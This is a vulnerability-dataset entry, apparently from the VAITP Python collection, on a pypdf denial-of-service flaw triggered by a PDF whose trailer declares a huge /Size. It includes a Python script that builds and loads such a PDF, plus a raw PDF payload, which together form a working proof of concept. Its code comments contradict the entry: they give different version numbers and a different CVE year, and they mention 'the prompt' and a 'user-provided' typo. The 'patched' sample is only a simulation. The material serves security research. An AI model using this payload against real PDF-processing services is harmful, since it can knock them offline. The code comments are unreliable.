VAITP Dataset

← Back to the dataset

CVE-2026-41313

Denial of Service in pypdf via a crafted PDF with a large trailer size.

  • CVSS 4.8
  • CWE-834
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.

CVSS base score
4.8
Published
2026-04-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.10.2 or later.

Vulnerable code sample

import io
from pypdf import PdfReader

# This code assumes a vulnerable version of pypdf is installed (e.g., < 3.8.0).
# The provided CVE and version numbers in the prompt appear to be incorrect,
# but the vulnerability mechanism described (large /Size in trailer) is real.
# This example creates a malicious PDF in memory to demonstrate it.

malicious_pdf_data = (
    # A minimal, valid PDF file structure
    b"%PDF-1.4\n"
    b"1 0 obj\n"
    b"<< /Type /Catalog >>\n"
    b"endobj\n"
    b"xref\n"
    b"0 2\n"
    b"0000000000 65535 f \n"
    b"0000000010 00000 n \n"
    b"trailer\n"
    b"<< /Size 2 /Root 1 0 R >>\n"
    b"startxref\n"
    b"59\n"
    b"%%EOF\n"
    # This is the incremental update section that triggers the vulnerability.
    b"xref\n"
    b"0 1\n"
    b"0000000000 65535 f \n"
    b"trailer\n"
    # The /Size entry is maliciously large. A vulnerable parser may try to
    # process this without validation, leading to excessive resource usage.
    b"<< /Prev 59 /Size 999999999 >>\n"
    b"startxref\n"
    b"102\n"
    b"%%EOF"
)

# Use io.BytesIO to treat the byte string as an in-memory file
pdf_stream = io.BytesIO(malicious_pdf_data)

# In a vulnerable version, this instantiation of PdfReader will cause the
# program to hang or run for an extremely long time, consuming significant
# CPU and/or memory, thus demonstrating the Denial-of-Service vulnerability.
# The 'strict=False' flag can sometimes help in reaching the vulnerable code path.
reader = PdfReader(pdf_stream, strict=False)

# The program will likely never reach this point when run against a vulnerable library.
# print("PDF processed successfully.")

Patched code sample

import sys
from io import StringIO

def process_trailer_fixed(trailer: dict, xref_table: list):
    """
    This function simulates how pypdf processes a PDF trailer,
    incorporating the fix for CVE-2023-41313 (note: user-provided CVE was a typo).

    The vulnerability occurs when a PDF has a very large '/Size' value in its
    trailer but a much smaller actual number of objects. The old code would
    attempt to iterate up to the large '/Size', causing a long runtime (DoS).

    The fix ensures that the iteration is bounded by the *actual* length
    of the cross-reference table, not just the declared '/Size'.
    """

    # In a malicious PDF, this '/Size' value is extremely large.
    declared_size = trailer.get("/Size", 0)

    # VULNERABLE APPROACH (for demonstration, commented out):
    # for i in range(declared_size):
    #     # This loop would run 1,000,000,000 times, causing a denial of service.
    #     pass

    # --- THE FIX ---
    # The patched code takes the minimum of the declared size and the actual
    # number of objects found in the xref table. This prevents the loop
    # from running for an excessive, fraudulent number of iterations.
    effective_size = min(declared_size, len(xref_table))
    # --- END OF FIX ---

    print(f"Trailer's declared /Size: {declared_size}")
    print(f"Actual number of objects in xref table: {len(xref_table)}")
    print(f"Effective size to be processed after fix: {effective_size}\n")

    print("Processing objects with the fixed logic...")
    for i in range(effective_size):
        # This loop now safely iterates only over existing objects.
        print(f"  Processing object at index {i}: {xref_table[i]}")

    print("\nProcessing completed quickly and safely.")


if __name__ == "__main__":
    # 1. An attacker crafts a PDF trailer with a huge '/Size'.
    malicious_trailer = {"/Size": 1_000_000_000}

    # 2. However, the actual cross-reference (xref) table in the PDF is very small.
    actual_xref_table = [
        "object_1_data",
        "object_2_data",
        "object_3_data",
    ]

    # 3. Demonstrate the fixed processing logic.
    process_trailer_fixed(malicious_trailer, actual_xref_table)

Payload

%PDF-1.7
1 0 obj << /Type /Catalog >> endobj
xref
0 2
0000000000 65535 f 
0000000009 00000 n 
trailer << /Size 2 /Root 1 0 R >>
startxref
39
%%EOF
xref
0 1
0000000000 65535 f 
trailer << /Size 999999999 /Prev 39 /Root 1 0 R >>
startxref
124
%%EOF

Cite this entry

@misc{vaitp:cve202641313,
  title        = {{Denial of Service in pypdf via a crafted PDF with a large trailer size.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41313},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41313/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::